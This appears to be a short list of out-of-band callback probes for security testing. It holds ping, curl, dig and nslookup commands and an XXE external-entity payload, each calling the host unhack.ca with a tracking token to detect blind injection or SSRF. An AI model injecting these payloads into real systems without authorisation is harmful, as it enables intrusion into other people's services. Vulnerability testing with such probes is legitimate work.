$ ping -c1 -p 006671be64854551eea4d1e860e0ad00 unhack.ca
$ curl http://unhack.ca/p/6671be64854551eea4d1e860e0ad
$ dig 6671be64854551eea4d1e860e0ad @unhack.ca
$ dig 6671be64854551eea4d1e860e0ad.ns.unhack.ca
C:\> nslookup 6671be64854551eea4d1e860e0ad unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/6671be64854551eea4d1e860e0ad">]> <foo>&xxe;</foo>